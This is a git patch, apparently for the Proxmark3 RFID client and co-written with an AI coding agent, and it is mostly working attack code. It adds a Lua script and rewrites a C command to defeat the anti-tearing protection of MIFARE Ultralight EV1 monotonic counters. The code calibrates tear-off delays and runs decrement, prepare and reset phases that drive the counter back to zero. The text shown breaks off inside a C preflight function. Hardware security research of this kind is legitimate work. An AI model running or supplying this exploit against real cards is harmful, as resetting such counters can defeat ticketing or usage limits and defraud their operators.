From a260d0514e6de4498a82fb76e9a77c85331a7e9e Mon Sep 17 00:00:00 2001 From: M35MAR Date: Sat, 24 Oct 2026 10:10:17 +0200 Subject: [PATCH] HF MFU: rewrite hf mfu countertear as faithful port of mfuev1_counter_reset.py Problem The native hf mfu countertear used a device-side CMD_HF_MFU_COUNTER_TEAROFF path with a static increment payload, decided once per run. The pyscript mfuev1_counter_reset.py implements the same attack with auto-calibration, a 3-phase attack loop, per-attempt BD delay tuning (hunting) and stuck-value handling, which the native command lacked. Change - rewrite the client command around the generic tear-off hook (hw tearoff) and raw INCREASE_CNT frames, mirroring the pyscript step by step: preflight checks, CHECK_TEARING_EVENT support gate, targeted repair/normalize, BD sweep calibration (working delay accepted only on 0xBD), and the DECREMENT -> PREPARE (0x00FFFF) -> RESET phases with the same increment payloads (000100 for decrement steps, 010000 for reset/repair) - same delay tuning on counter movement: +1 when unchanged, -1 when a jump exceeds 10, delay locked after a successful decrement - remove CMD_HF_MFU_COUNTER_TEAROFF usage from the client; device side stays untouched - add Lua port client/luascripts/mfuev1_counter_reset.lua with the same behaviour, using core.console capture and Enter-to-stop - regenerate doc/commands.md and doc/commands.json Behaviour change Same CLI shape as the pyscript (-c/-f/--DelayBD/--Delay00, legacy -i/-l/-s/-x options removed). Console output now matches the pyscript. Testing gcc warningless for client, armsrc and bootrom (RDV4). make check green. doc regenerated with GD enabled. Verified 1:1 against the pyscript and the new Lua port on hardware (EV1 card). Not tested here: clang, Windows/ProxSpace and macOS. No build files are touched, so the usual client-side review applies. Co-Authored-By: opencode agent (GLM-5.3-Flash-Free) --- client/luascripts/mfuev1_counter_reset.lua | 624 +++++++++++ client/src/cmdhfmfu.c | 1133 +++++++++++--------- doc/commands.json | 22 +- doc/commands.md | 2 +- 4 files changed, 1254 insertions(+), 527 deletions(-) create mode 100644 client/luascripts/mfuev1_counter_reset.lua diff --git a/client/luascripts/mfuev1_counter_reset.lua b/client/luascripts/mfuev1_counter_reset.lua new file mode 100644 index 000000000..a8bcc5ce4 --- /dev/null +++ b/client/luascripts/mfuev1_counter_reset.lua @@ -0,0 +1,624 @@ +-- Bypass Anti-Tearing on MIFARE Ultralight EV1 monotonic counters (tear-off). +-- Lua port of the pyscript client/pyscripts/mfuev1_counter_reset.py (v2.2.0), +-- based on Quarkslab research "RFID Monotonic Counter Anti-Tearing Defeated" +-- +-- Script version: v1.0.0 +-- Original by W0rthlessS0ul (https://github.com/W0rthlessS0ul), updated by M35MAR + +local ac = require('ansicolors') + +copyright = '(c) 2025 W0rthlessS0ul, M35MAR' +author = 'W0rthlessS0ul, M35MAR' +version = 'v1.0.0' +desc = [[ +Bypass Anti-Tearing on MIFARE Ultralight EV1 monotonic counters (tear-off). +Lua port of the pyscript mfuev1_counter_reset.py, based on Quarkslab research]] +example = [[ +-- default +script run mfuev1_counter_reset.lua -c 0 +-- skip pre-flight checks +script run mfuev1_counter_reset.lua -c 0 -f +-- manual delays +script run mfuev1_counter_reset.lua -c 0 --DelayBD 2720 --Delay00 2705 +]] +usage = [[ +script run mfuev1_counter_reset.lua [-h | -f | -c <0-2> | --DelayBD | --Delay00 ] +]] +arguments = [[ +-h This help +-f Skip pre-flight checks +-c Counter index (0-2) +--DelayBD Manual BD delay, disables auto-calibration +--Delay00 Manual 00 delay +]] + +-- Known EV1 limits / artifacts +local COUNTER_MAX = 0xFFFFFF +local COUNTER_PREPARE_TARGET = 0x00FFFF +local TEAR_STUCK_VALUE = 6 -- counter may be read as 6 after a failed tear + +-- Calibration and delay tuning +local DELAY_BD_MIN = 2700 +local DELAY_BD_MAX = 5000 +local CAL_STEP_US = 5 +local DELAY_00_OFFSET = 10 -- delay_00 = BD - this offset +local DELAY_TUNE_STEP = 1 +local DELAY_TUNE_JUMP = 10 + +local RETRY_COUNT = 3 +local RETRY_SLEEP_MS = 200 +local TEAR_REPAIR_ATTEMPTS = 5 + +local NACK_BYTES = { ['04'] = true, ['05'] = true, ['06'] = true, ['0A'] = true, ['0a'] = true } +-- CHECK_TEARING_EVENT only ever answers 0x00 (no tear) or 0xBD (tear detected). +local VALID_TEARING_BYTES = { ['00'] = true, ['BD'] = true } + +-- Helper: same marker style as the python script, "[]" with a colored char +local function mark(colorname, char) + return '[' .. ac[colorname] .. char .. ac.reset .. ']' +end + +local function strip_ansi(text) + return (tostring(text):gsub('\27%[[%d;]*m', '')) +end + +-- Return hex bytes from the last Proxmark3 [+] line, before the CRC bracket +local function extract_pm3_payload(output) + local clean = strip_ansi(output) + local last = nil + for m in clean:gmatch('%[%+%]%s+([^%n%[]+)') do last = m end + if not last then return '' end + last = last:gsub('%s+%[.*$', '') + return last:gsub('^%s+', ''):gsub('%s+$', '') +end + +local function format_counter_hex(counter_int) + return string.format('%02X%02X%02X', + counter_int % 0x100, + math.floor(counter_int / 0x100) % 0x100, + math.floor(counter_int / 0x10000) % 0x100) +end + +-- Return 6 hex chars, little-endian (LSB first) for INCR_CNT +local int_to_incr_bytes = format_counter_hex + +local function run_pm3(cmd) + return strip_ansi(core.console(cmd, true, true) or '') +end + +local function wake_card() + run_pm3('hf 14a reader') +end + +local function sleep(ms) + core.console('msleep -t ' .. ms) +end + +local function parse_counter_output(output) + local payload = extract_pm3_payload(output) + if payload == '' then return nil, nil end + + local parts = {} + for tok in payload:gmatch('%S+') do parts[#parts + 1] = tok end + -- Single-byte reply is usually a NACK, not a 24-bit counter. + if #parts == 1 then return nil, nil end + if #parts < 3 then return nil, nil end + + local b = {} + for i = 1, 3 do + local v = tonumber(parts[i], 16) + if v == nil then return nil, nil end + b[i] = v + end + local counter_int = b[1] + b[2] * 0x100 + b[3] * 0x10000 + return format_counter_hex(counter_int), counter_int +end + +-- Return (torn, raw) or (nil, raw) when the reply is not a valid tearing byte. +local function parse_tearing_output(output) + local payload = extract_pm3_payload(output) + if payload == '' then return nil, '?' end + + local tearing = nil + for tok in payload:gmatch('%S+') do tearing = tok break end + if tearing == nil then return nil, '?' end + tearing = tearing:upper() + if not VALID_TEARING_BYTES[tearing] then return nil, tearing end + return tearing == 'BD', tearing +end + +local function read_counter(counter_index) + for _ = 1, RETRY_COUNT do + local counter_hex, counter_int = parse_counter_output( + run_pm3(('hf 14a raw -s -c 39 0%s'):format(counter_index))) + if counter_hex ~= nil then return counter_hex, counter_int end + wake_card() + sleep(RETRY_SLEEP_MS) + end + return nil, nil +end + +local function check_tearing_event(counter_index) + for _ = 1, RETRY_COUNT do + local tearing_ok, tearing = parse_tearing_output( + run_pm3(('hf 14a raw -s -c 3E 0%s'):format(counter_index))) + if tearing_ok ~= nil then return tearing_ok, tearing end + sleep(RETRY_SLEEP_MS) + end + return false, '?' +end + +local function enable_tearoff(delay_us) + run_pm3(('hw tearoff --delay %d'):format(delay_us)) + local output = run_pm3('hw tearoff --on') + return output:lower():find('enabled', 1, true) ~= nil +end + +local function disable_tearoff() + run_pm3('hw tearoff --off') +end + +local function incr_cnt(counter_index, payload_hex) + run_pm3(('hf 14a raw -s -c A5 0%s %s 00'):format(counter_index, payload_hex)) +end + +local function repair_tear_flag(counter_index) + wake_card() + for _ = 1, TEAR_REPAIR_ATTEMPTS do + local _, tearing = check_tearing_event(counter_index) + if VALID_TEARING_BYTES[tearing] then return true end + incr_cnt(counter_index, '000000') + incr_cnt(counter_index, '000000') + sleep(RETRY_SLEEP_MS) + end + + print(mark('yellow', '!') .. ' Attempting tear-off repair...') + enable_tearoff(2950) + incr_cnt(counter_index, '010000') + sleep(RETRY_SLEEP_MS) + wake_card() + local _, tearing = check_tearing_event(counter_index) + return VALID_TEARING_BYTES[tearing] == true +end + +local function normalize_tear_flag(counter_index) + for _ = 1, TEAR_REPAIR_ATTEMPTS * 2 do + local _, tearing = check_tearing_event(counter_index) + if VALID_TEARING_BYTES[tearing] then return end + incr_cnt(counter_index, '000000') + end +end + +local function run_decrement_step(counter_index, delay_bd, delay_00) + enable_tearoff(delay_bd) + incr_cnt(counter_index, '000100') + enable_tearoff(delay_00) + incr_cnt(counter_index, '000000') + enable_tearoff(delay_bd) + incr_cnt(counter_index, '000000') + enable_tearoff(delay_00) + incr_cnt(counter_index, '000000') + normalize_tear_flag(counter_index) +end + +local function run_reset_step(counter_index, delay_bd, delay_00) + enable_tearoff(delay_bd) + incr_cnt(counter_index, '010000') + enable_tearoff(delay_00) + incr_cnt(counter_index, '000000') + normalize_tear_flag(counter_index) +end + +-- Tune BD delay based on counter changes, locked delay is kept as is +local function tune_delay(delay_bd, previous_counter, current_counter, locked) + if locked then return delay_bd end + if current_counter == previous_counter then + return math.min(DELAY_BD_MAX, delay_bd + DELAY_TUNE_STEP) + end + if current_counter - previous_counter > DELAY_TUNE_JUMP then + return math.max(DELAY_BD_MIN, delay_bd - DELAY_TUNE_STEP) + end + return delay_bd +end + +local function is_ev1_card() + wake_card() + local payload = extract_pm3_payload(run_pm3('hf 14a raw -s -c 60')) + local parts = {} + for tok in payload:gmatch('%S+') do parts[#parts + 1] = tok end + + -- GET_VERSION layout: [0]=?, [1]=vendor, [2]=product type, [3]=subtype, + -- [4]=major version, [5]=minor version, [6]=size, [7]=protocol type. + -- MIFARE Ultralight EV1 -> product type 0x03, major version 0x01. + -- NTAG also reports major 0x01, so the product type must be checked too. + if #parts >= 5 then + local product_type = tonumber(parts[3], 16) + local major_version = tonumber(parts[5], 16) + if product_type and major_version then + if product_type == 0x03 and major_version == 0x01 then return true end + end + end + + local info = run_pm3('hf mfu info'):lower() + if info:find('ul ev1', 1, true) ~= nil then return true end + if info:find('ultralight ev1', 1, true) ~= nil then return true end + if info:find('ul%-ev1', 1, true) ~= nil then return true end + return false +end + +local function preflight_checks(counter_index) + wake_card() + if not is_ev1_card() then + print(mark('red', '!') .. ' Support only Mifare UL EV1 cards') + return false + end + + if not repair_tear_flag(counter_index) then + local _, tearing = check_tearing_event(counter_index) + print(mark('red', '!') .. (' Could not repair tear flag (got 0x%s)'):format(tearing)) + return false + end + + local _, tearing = check_tearing_event(counter_index) + if not VALID_TEARING_BYTES[tearing] then + print(mark('red', '!') .. ' Card does not support CHECK_TEARING_EVENT') + return false + end + + local _, counter = read_counter(counter_index) + if counter == nil then + print(mark('red', '!') .. ' Cannot read initial counter') + return false + end + if counter == COUNTER_MAX then + print(mark('red', '!') .. string.format(' Counter is at maximum (0x%06X), cannot reset', COUNTER_MAX)) + return false + end + if counter == 0 then + print(mark('red', '!') .. ' Counter is already at minimum (0)') + return false + end + + print(mark('blue', '*') .. string.format(' Counter %s: %d (0x%s) | Tear: 0x%s', + counter_index, counter, format_counter_hex(counter), tearing)) + return true +end + +-- Auto-calibrate the BD delay. Returns (delay_bd, delay_00) or (nil, nil) on +-- failure; an interruption mid-loop returns the current (best_bd, nil) exactly +-- like the python script does. +local function calibrate_bd_delay(counter_index) + local best_bd = nil + + local delay_bd = DELAY_BD_MIN + while delay_bd < DELAY_BD_MAX do + if core.kbd_enter_pressed() then + return best_bd, nil + end + + local initial_hex, initial_int = read_counter(counter_index) + if initial_hex == nil then + repair_tear_flag(counter_index) + else + enable_tearoff(delay_bd) + incr_cnt(counter_index, '000000') + local check_tearing, tear_flag = check_tearing_event(counter_index) + incr_cnt(counter_index, '000000') + incr_cnt(counter_index, '000000') + + local final_hex, final_int = read_counter(counter_index) + if final_hex == nil then + repair_tear_flag(counter_index) + else + local tear_color = check_tearing and ac.green or ac.red + local stable = final_int == initial_int + io.write("\r[" .. ac.yellow .. "=" .. ac.reset .. "] Testing delay: " + .. ac.yellow .. delay_bd .. ac.reset .. " us | " + .. "Check tearing: " .. tear_color .. tear_flag .. ac.reset .. " | " + .. "Counter: " .. ac.yellow .. initial_hex:upper() .. ac.reset + .. " -> " .. ac.yellow .. final_hex:upper() .. ac.reset) + io.flush() + + if check_tearing then + best_bd = delay_bd + if stable then + print("\n" .. mark('green', '+') .. " Working BD delay: " + .. ac.green .. delay_bd .. ac.reset .. " us") + return delay_bd, math.max(DELAY_BD_MIN, delay_bd - DELAY_00_OFFSET) + end + end + end + end + + delay_bd = delay_bd + CAL_STEP_US + end + + if best_bd ~= nil then + print("\n" .. mark('yellow', '!') .. " Counter drift during calibration; " + .. "using last BD delay: " .. ac.green .. best_bd .. ac.reset .. " us") + return best_bd, math.max(DELAY_BD_MIN, best_bd - DELAY_00_OFFSET) + end + + print("\n" .. mark('red', '!') .. " Auto-calibration failed; try manual --DelayBD 2720") + return nil, nil +end + +local function attack_loop(counter_index, delay_bd, delay_00) + local phase = 'decrement' + local attempt = 0 + local reset_attempts = 0 + local delay_locked = false + + local _, baseline_counter = read_counter(counter_index) + if baseline_counter == nil then baseline_counter = 0 end + + local tune_reference = baseline_counter + local reset_reference = baseline_counter + + while core.kbd_enter_pressed() == false do + local counter_hex, counter_int = read_counter(counter_index) + if counter_hex == nil then + repair_tear_flag(counter_index) + sleep(RETRY_SLEEP_MS) + elseif counter_int == 0 then + print('\n[+] Exploit successful') + return true + elseif counter_int == TEAR_STUCK_VALUE then + repair_tear_flag(counter_index) + elseif phase == 'decrement' then + if counter_int <= COUNTER_PREPARE_TARGET then + print('\n[=] Switching to PREPARE phase (counter <= 0x00FFFF)') + incr_cnt(counter_index, '000000') + sleep(RETRY_SLEEP_MS) + incr_cnt(counter_index, '000000') + phase = 'prepare' + reset_reference = counter_int + else + local initial_hex, initial_int = counter_hex, counter_int + run_decrement_step(counter_index, delay_bd, delay_00) + + if core.kbd_enter_pressed() then break end + + local final_hex, final_int = read_counter(counter_index) + if final_hex ~= nil and final_int ~= TEAR_STUCK_VALUE then + local _, tear_flag = check_tearing_event(counter_index) + attempt = attempt + 1 + io.write("\r[" .. ac.red .. "DEC" .. ac.reset .. "] Att " .. attempt + .. " | BD/00: " .. delay_bd .. "/" .. delay_00 .. " us" + .. " | Tear: " .. tear_flag + .. " | " .. initial_hex:upper() .. " -> " .. final_hex:upper() .. " ") + io.flush() + + if final_int < initial_int then + print("\n" .. mark('green', '+') .. " Decrement! " + .. initial_hex:upper() .. " -> " .. final_hex:upper() + .. " (delta " .. (initial_int - final_int) .. ")") + -- Consolidate the drop by normalizing tear flag + normalize_tear_flag(counter_index) + delay_locked = true + tune_reference = final_int + elseif final_int > initial_int then + if delay_locked then + delay_locked = false + tune_reference = final_int + else + local new_delay = tune_delay(delay_bd, tune_reference, final_int, false) + if new_delay ~= delay_bd then delay_bd = new_delay end + tune_reference = final_int + end + else + if not delay_locked then + local new_delay = tune_delay(delay_bd, tune_reference, final_int, false) + if new_delay ~= delay_bd then delay_bd = new_delay end + tune_reference = final_int + end + end + end + end + elseif phase == 'prepare' then + if counter_int < COUNTER_PREPARE_TARGET and counter_int ~= TEAR_STUCK_VALUE then + local diff = COUNTER_PREPARE_TARGET - counter_int + local diff_hex = int_to_incr_bytes(diff) + io.write("\r[" .. ac.yellow .. "PREPARE" .. ac.reset .. "] Incrementing by " .. diff + .. " to reach 0x" .. string.format('%06X', COUNTER_PREPARE_TARGET) .. "...") + io.flush() + incr_cnt(counter_index, diff_hex) + incr_cnt(counter_index, '000000') + elseif counter_int == COUNTER_PREPARE_TARGET then + print(string.format('\n[=] Counter at 0x%06X, switching to RESET phase', COUNTER_PREPARE_TARGET)) + phase = 'reset' + reset_attempts = 0 + reset_reference = COUNTER_PREPARE_TARGET + delay_locked = false + else + phase = 'decrement' + end + elseif phase == 'reset' then + local initial_hex, initial_int = counter_hex, counter_int + run_reset_step(counter_index, delay_bd, delay_00) + + if core.kbd_enter_pressed() then break end + + local final_hex, final_int = read_counter(counter_index) + if final_hex ~= nil and final_int ~= TEAR_STUCK_VALUE then + reset_attempts = reset_attempts + 1 + io.write("\r[" .. ac.green .. "RESET" .. ac.reset .. "] Att " .. reset_attempts + .. " | BD/00: " .. delay_bd .. "/" .. delay_00 .. " us" + .. " | " .. initial_hex:upper() .. " -> " .. final_hex:upper() .. " ") + io.flush() + + if final_int == 0 then + print('\n[+] ' .. ac.green .. 'Exploit successful' .. ac.reset) + return true + end + + if final_int > COUNTER_PREPARE_TARGET then + print('\n[=] Counter increased, returning to DECREMENT') + phase = 'decrement' + tune_reference = final_int + delay_locked = false + elseif final_int == initial_int then + local new_delay = tune_delay(delay_bd, reset_reference, final_int, false) + if new_delay ~= delay_bd then delay_bd = new_delay end + reset_reference = final_int + elseif final_int < initial_int then + print("\n" .. mark('green', '+') .. " Reset decrement! " + .. initial_hex:upper() .. " -> " .. final_hex:upper() + .. " (delta " .. (initial_int - final_int) .. ")") + delay_locked = true + reset_reference = final_int + end + -- else final_int slightly higher but still within range - ignore + end + end + end + + return false +end + +local function print_help() + print(ac.cyan .. 'Counter reset of Mifare UL EV1 cards' .. ac.reset) + print() + print(ac.green .. 'usage:' .. ac.reset .. ' script run mfuev1_counter_reset.lua [-h | -f | -c <0-2> | --DelayBD | --Delay00 ]') + print() + print(ac.green .. 'options:' .. ac.reset) + print(' -h This help') + print(' -c Counter index (0-2)') + print(' -f Skip pre-flight checks') + print(' --DelayBD Manual BD delay, disables auto-calibration') + print(' --Delay00 Manual 00 delay') + print() + print(ac.green .. 'examples:' .. ac.reset) + print(' script run mfuev1_counter_reset.lua -c 0') + print(' script run mfuev1_counter_reset.lua -c 0 -f') + print(' script run mfuev1_counter_reset.lua -c 0 --DelayBD 2720 --Delay00 2705') + return 0 +end + +local function parse_args(argstr) + local opts = { cnt = '0', force = false, delaybd = nil, delay00 = nil } + local toks = {} + for t in argstr:gmatch('%S+') do toks[#toks + 1] = t end + + local i = 1 + while i <= #toks do + local t = toks[i] + + if t == '-h' or t == '--help' then + opts.help = true + elseif t == '-f' or t == '--force' then + opts.force = true + elseif t == '-c' or t == '--cnt' then + i = i + 1 + if toks[i] == nil then return nil, '-c/--cnt requires a value' end + opts.cnt = toks[i] + elseif t:sub(1, 2) == '-c' and #t > 2 then + opts.cnt = t:sub(3) + elseif t:sub(1, 9) == '--DelayBD' then + local v = t:match('^%-%-DelayBD=(.*)$') + if v == nil then + i = i + 1 + v = toks[i] + end + if v == nil then return nil, '--DelayBD requires a value' end + opts.delaybd = tonumber(v) + elseif t:sub(1, 9) == '--Delay00' then + local v = t:match('^%-%-Delay00=(.*)$') + if v == nil then + i = i + 1 + v = toks[i] + end + if v == nil then return nil, '--Delay00 requires a value' end + opts.delay00 = tonumber(v) + else + return nil, 'unrecognized argument: ' .. t + end + + i = i + 1 + end + + if opts.cnt ~= '0' and opts.cnt ~= '1' and opts.cnt ~= '2' then + return nil, "invalid choice for -c/--cnt: '" .. tostring(opts.cnt) .. "' (choose from '0', '1', '2')" + end + if opts.delaybd ~= nil and math.floor(opts.delaybd) ~= opts.delaybd then + return nil, 'invalid int value for --DelayBD: must be an integer' + end + if opts.delay00 ~= nil and math.floor(opts.delay00) ~= opts.delay00 then + return nil, 'invalid int value for --Delay00: must be an integer' + end + + return opts, nil +end + +-- Main body, run through pcall so disable_tearoff() always executes (finally) +local function main_body(argstr) + local opts, err = parse_args(argstr) + if err ~= nil or opts.help then + if err ~= nil then + print(mark('yellow', '?') .. ' ' .. err) + io.write('\n') + end + print_help() + return (err ~= nil) and 1 or 0 + end + + print(ac.cyan .. 'Attack against the monotonic counters of MFU EV1 using the tear-off technique.' .. ac.reset) + print(ac.cyan .. 'Note: If the counter does not reset after a few attempts, increment it to 2^n and retry.' .. ac.reset) + print() + + if not opts.force and not preflight_checks(opts.cnt) then + print(mark('yellow', '?') .. ' Try ' .. ac.yellow .. "`script run mfuev1_counter_reset.lua -f`" .. ac.reset .. ' if this is a false negative') + return 1 + end + + local delay_bd, delay_00 + + if opts.delaybd == nil then + local bd, d00 = calibrate_bd_delay(opts.cnt) + if bd == nil then + -- python: result[0] is None -> silent exit (no additional message) + return 1 + end + delay_bd, delay_00 = bd, d00 + if opts.delay00 ~= nil then + delay_00 = opts.delay00 + print(mark('green', '+') .. ' Using manual 00 delay: ' .. ac.green .. delay_00 .. ac.reset .. ' us') + end + else + delay_bd = opts.delaybd + delay_00 = opts.delay00 ~= nil and opts.delay00 or delay_bd - DELAY_00_OFFSET + print(mark('green', '+') .. ' Using manual BD delay: ' .. ac.green .. delay_bd .. ac.reset .. ' us') + if opts.delay00 ~= nil then + print(mark('green', '+') .. ' Using manual 00 delay: ' .. ac.green .. delay_00 .. ac.reset .. ' us') + end + end + + if core.kbd_enter_pressed() then + print('\n[x] Interrupted by user.') + return 0 + end + + if attack_loop(opts.cnt, delay_bd, delay_00) then + return 0 + end + + if core.kbd_enter_pressed() then + print('\n[x] Interrupted by user.') + return 0 + end + return 1 +end + +local function run(argstr) + if type(argstr) ~= 'string' then argstr = '' end + local ok, res = pcall(main_body, argstr) + -- python finally: always deactivate the tear-off hook + disable_tearoff() + if not ok then + print('\n[x] Error: ' .. tostring(res)) + return 1 + end + return res or 0 +end + +return run(args) diff --git a/client/src/cmdhfmfu.c b/client/src/cmdhfmfu.c index 0b0a667f7..9255a3a21 100644 --- a/client/src/cmdhfmfu.c +++ b/client/src/cmdhfmfu.c @@ -31,6 +31,7 @@ #include "nfc/ndef.h" #include "cliparser.h" #include "cmdmain.h" +#include "cmdhw.h" // handle_tearoff #include "amiibo.h" // amiiboo fcts #include "base64.h" #include "util_posix.h" // msclock @@ -6624,566 +6625,670 @@ static int CmdHF14AMfuOtpTearoff(const char *Cmd) { } +// +// Tear-off attack against the MFU EV1 monotonic counters. +// Port of the pyscript `client/pyscripts/mfuev1_counter_reset.py`, +// based on Quarkslab research "RFID Monotonic Counter Anti-Tearing Defeated" +// +#define MFU_CNT_MAX 0xFFFFFF +#define MFU_CNT_PREPARE_TARGET 0x00FFFF +#define MFU_CNT_STUCK_VALUE 6 // counter may be read as 6 after a failed tear +#define MFU_CNT_DELAY_BD_MIN 2700 +#define MFU_CNT_DELAY_BD_MAX 5000 +#define MFU_CNT_DELAY_BD_STEP 5 +#define MFU_CNT_DELAY_00_OFFSET 10 // delay_00 = delay_bd - this offset +#define MFU_CNT_DELAY_TUNE_STEP 1 +#define MFU_CNT_DELAY_TUNE_JUMP 10 +#define MFU_CNT_RETRIES 3 +#define MFU_CNT_RETRY_SLEEP_MS 200 +#define MFU_CNT_REPAIR_ATTEMPTS 5 +#define MFU_CNT_REPAIR_DELAY 2950 -static int counter_reset_tear(iso14a_card_select_t *card, uint8_t cnt_no) { +// attack phases +#define MFU_CNT_PHASE_DECREMENT 0 +#define MFU_CNT_PHASE_PREPARE 1 +#define MFU_CNT_PHASE_RESET 2 - PrintAndLogEx(INFO, "Reset tear check"); +static const uint8_t mfu_cnt_incr_zero[3] = {0x00, 0x00, 0x00}; +static const uint8_t mfu_cnt_incr_up1[3] = {0x01, 0x00, 0x00}; // LE 0x000001 +static const uint8_t mfu_cnt_incr_dec1[3] = {0x00, 0x01, 0x00}; // LE 0x000100 - uint8_t cw[6] = { MIFARE_ULEV1_INCR_CNT, cnt_no, 0x00, 0x00, 0x00, 0x00}; - uint8_t ct[1] = {0}; - uint8_t resp[10] = {0}; +static void mfu_cnt_hex(int value, char *buf) { + snprintf(buf, 7, "%02X%02X%02X" + , (uint8_t)(value & 0xFF) + , (uint8_t)((value >> 8) & 0xFF) + , (uint8_t)((value >> 16) & 0xFF) + ); +} - if (ul_select(card) == false) { - PrintAndLogEx(FAILED, "failed to select card, exiting..."); - return PM3_ESOFT; +// script prints the tearing byte as-is; "?" when it was not a valid answer +static void mfu_cnt_tearfmt(uint8_t tear, char *buf, size_t len) { + if (tear == 0x00 || tear == 0xBD) { + snprintf(buf, len, "%02X", tear); + } else { + snprintf(buf, len, "?"); } - if (ul_send_cmd_raw(cw, sizeof(cw), resp, sizeof(resp), false) < 0) { - PrintAndLogEx(FAILED, "failed to write all ZEROS"); - return PM3_ESOFT; +} + +static int mfu_cnt_read(uint8_t counter, int *value) { + for (int i = 0; i < MFU_CNT_RETRIES; i++) { + iso14a_card_select_t card; + if (ul_select(&card) == false) { + msleep(MFU_CNT_RETRY_SLEEP_MS); + continue; + } + + uint8_t resp[3] = {0x00}; + int len = ulev1_readCounter(counter, resp, sizeof(resp), false); + DropField(); + if (len == sizeof(resp)) { + if (value) { + *value = (resp[0] | resp[1] << 8 | resp[2] << 16); + } + return PM3_SUCCESS; + } + msleep(MFU_CNT_RETRY_SLEEP_MS); } - if (ulev1_readTearing(cnt_no, ct, sizeof(ct)) < 0) { - PrintAndLogEx(FAILED, "AFTER, failed to read ANTITEAR, exiting..."); + return PM3_ESOFT; +} + +// CHECK_TEARING_EVENT only ever answers 0x00 (no tear) or 0xBD (tear detected) +static int mfu_cnt_check_tearing(uint8_t counter, uint8_t *tearing) { + for (int i = 0; i < MFU_CNT_RETRIES; i++) { + iso14a_card_select_t card; + if (ul_select(&card) == false) { + msleep(MFU_CNT_RETRY_SLEEP_MS); + continue; + } + + uint8_t resp[1] = {0x00}; + int len = ulev1_readTearing(counter, resp, sizeof(resp)); + DropField(); + if (len == sizeof(resp) && (resp[0] == 0x00 || resp[0] == 0xBD)) { + *tearing = resp[0]; + return PM3_SUCCESS; + } + msleep(MFU_CNT_RETRY_SLEEP_MS); + } + // no valid answer, script placeholder "?" + *tearing = 0xFF; + return PM3_ESOFT; +} + +// INCREASE_CNT layout: A5, counter, value[3] little endian, 0x00, CRC appended +static int mfu_cnt_incr(uint8_t counter, const uint8_t value[3]) { + iso14a_card_select_t card; + if (ul_select(&card) == false) { return PM3_ESOFT; } + + uint8_t cmd[6] = {MIFARE_ULEV1_INCR_CNT, counter, 0x00, 0x00, 0x00, 0x00}; + memcpy(cmd + 2, value, 3); + uint8_t resp[4] = {0x00}; + int len = ul_send_cmd_raw(cmd, sizeof(cmd), resp, sizeof(resp), false); DropField(); + return (len >= 0) ? PM3_SUCCESS : PM3_ESOFT; +} - if (ct[0] != 0xBD) { - PrintAndLogEx(INFO, "Resetting seem to have failed, WHY!?"); +// arm the generic tear-off hook for the very next raw command +static int mfu_cnt_tear_on(int delay_us) { + if (delay_us < 1 || delay_us > 0xFFFF) { + return PM3_EINVARG; + } + tearoff_params_t params = { + .delay_us = delay_us, + .skip = 0, + .on = true, + .off = false, + }; + return handle_tearoff(¶ms, false); +} + +static void mfu_cnt_tear_off(void) { + tearoff_params_t params = { + .delay_us = 0, + .skip = 0, + .on = false, + .off = true, + }; + handle_tearoff(¶ms, false); +} + +// consolidate the antitear/tear condition into a stable state +static void mfu_cnt_normalize_tear(uint8_t counter) { + uint8_t tear = 0; + for (int i = 0; i < (MFU_CNT_REPAIR_ATTEMPTS * 2); i++) { + if (mfu_cnt_check_tearing(counter, &tear) == PM3_SUCCESS) { + return; + } + mfu_cnt_incr(counter, mfu_cnt_incr_zero); + } +} + +// repair a stuck antitear/tear condition +static bool mfu_cnt_repair_tear(uint8_t counter) { + uint8_t tear = 0; + iso14a_card_select_t card; + ul_select(&card); // wake card + + for (int i = 0; i < MFU_CNT_REPAIR_ATTEMPTS; i++) { + if (mfu_cnt_check_tearing(counter, &tear) == PM3_SUCCESS) { + return true; + } + mfu_cnt_incr(counter, mfu_cnt_incr_zero); + mfu_cnt_incr(counter, mfu_cnt_incr_zero); + msleep(MFU_CNT_RETRY_SLEEP_MS); + } + + PrintAndLogEx(WARNING, "Attempting tear-off repair..."); + mfu_cnt_tear_on(MFU_CNT_REPAIR_DELAY); + mfu_cnt_incr(counter, mfu_cnt_incr_up1); + msleep(MFU_CNT_RETRY_SLEEP_MS); + ul_select(&card); // wake card + return (mfu_cnt_check_tearing(counter, &tear) == PM3_SUCCESS); +} + +static void mfu_cnt_decrement_step(uint8_t counter, int delay_bd, int delay_00) { + mfu_cnt_tear_on(delay_bd); + mfu_cnt_incr(counter, mfu_cnt_incr_dec1); + mfu_cnt_tear_on(delay_00); + mfu_cnt_incr(counter, mfu_cnt_incr_zero); + mfu_cnt_tear_on(delay_bd); + mfu_cnt_incr(counter, mfu_cnt_incr_zero); + mfu_cnt_tear_on(delay_00); + mfu_cnt_incr(counter, mfu_cnt_incr_zero); + mfu_cnt_normalize_tear(counter); +} + +static void mfu_cnt_reset_step(uint8_t counter, int delay_bd, int delay_00) { + mfu_cnt_tear_on(delay_bd); + mfu_cnt_incr(counter, mfu_cnt_incr_up1); + mfu_cnt_tear_on(delay_00); + mfu_cnt_incr(counter, mfu_cnt_incr_zero); + mfu_cnt_normalize_tear(counter); +} + +// tune BD delay based on counter changes, locked delay is kept as is +static int mfu_cnt_tune_delay(int delay_bd, int previous, int current, bool locked) { + if (locked) { + return delay_bd; + } + if (current == previous) { + int up = delay_bd + MFU_CNT_DELAY_TUNE_STEP; + return (up > MFU_CNT_DELAY_BD_MAX) ? MFU_CNT_DELAY_BD_MAX : up; + } + if (current - previous > MFU_CNT_DELAY_TUNE_JUMP) { + int down = delay_bd - MFU_CNT_DELAY_TUNE_STEP; + return (down < MFU_CNT_DELAY_BD_MIN) ? MFU_CNT_DELAY_BD_MIN : down; + } + return delay_bd; +} + +static bool mfu_cnt_is_ev1(void) { + iso14a_card_select_t card; + if (ul_select(&card) == false) { + return false; + } + + // GET_VERSION layout: [1]=vendor, [2]=product type, [3]=subtype, + // [4]=major version. MIFARE Ultralight EV1 -> product type 0x03, + // major version 0x01. NTAG also reports major 0x01, so the product + // type must be checked too. + uint8_t version[8] = {0x00}; + int len = ulev1_getVersion(version, sizeof(version), false); + DropField(); + if (len >= 5 && version[2] == 0x03 && version[4] == 0x01) { + return true; + } + + // fallback to the full tag type detection, "hf mfu info" equivalent + uint64_t tagtype = GetHF14AMfU_Type(); + return (tagtype & (MFU_TT_UL_EV1 | MFU_TT_UL_EV1_48 | MFU_TT_UL_EV1_128 | MFU_TT_UL_NANO_40)) != 0; +} + +static int mfu_cnt_preflight(uint8_t counter, int *counter_val, uint8_t *tearing) { + iso14a_card_select_t card; + ul_select(&card); // wake card + + if (mfu_cnt_is_ev1() == false) 